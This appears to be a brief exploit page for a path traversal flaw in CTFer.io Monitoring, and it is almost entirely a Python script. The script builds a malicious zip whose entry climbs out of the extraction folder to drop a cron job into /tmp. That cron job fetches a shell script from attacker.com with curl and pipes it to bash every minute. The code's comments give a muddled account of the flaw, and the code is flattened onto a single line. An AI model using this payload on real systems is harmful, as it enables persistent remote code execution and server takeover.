CVE-2026-32771 CTFer.io Monitoring路径遍历漏洞

import zipfile import os def create_malicious_zip(): # Payload content to be written (e.g., a cron job for reverse shell) # This payload attempts to add a cron job for persistent access payload_content = b"*/1 * * * * /bin/bash -c 'curl http://attacker.com/shell | bash'\n" # The vulnerability allows path traversal because the check lacks a trailing separator. # If the extraction root is /data/extract, a filename like # /data/extract/../../tmp/cron_pwn passes the HasPrefix check # if the code only checks for "/data/extract" without a trailing slash. zip_filename = "exploit.zip" with zipfile.ZipFile(zip_filename, 'w') as zf: # Use an absolute path or traversal sequence relative to extraction dir # Assuming the vulnerable code handles the prefix check incorrectly zinfo = zipfile.ZipInfo("../../../../tmp/cron_pwn") zinfo.external_attr = 0o644 << 16 # Unix permissions zf.writestr(zinfo, payload_content) print(f"[+] Created malicious zip file: {zip_filename}") print(f"[+] Payload written to: ../../../../tmp/cron_pwn") if __name__ == "__main__": create_malicious_zip()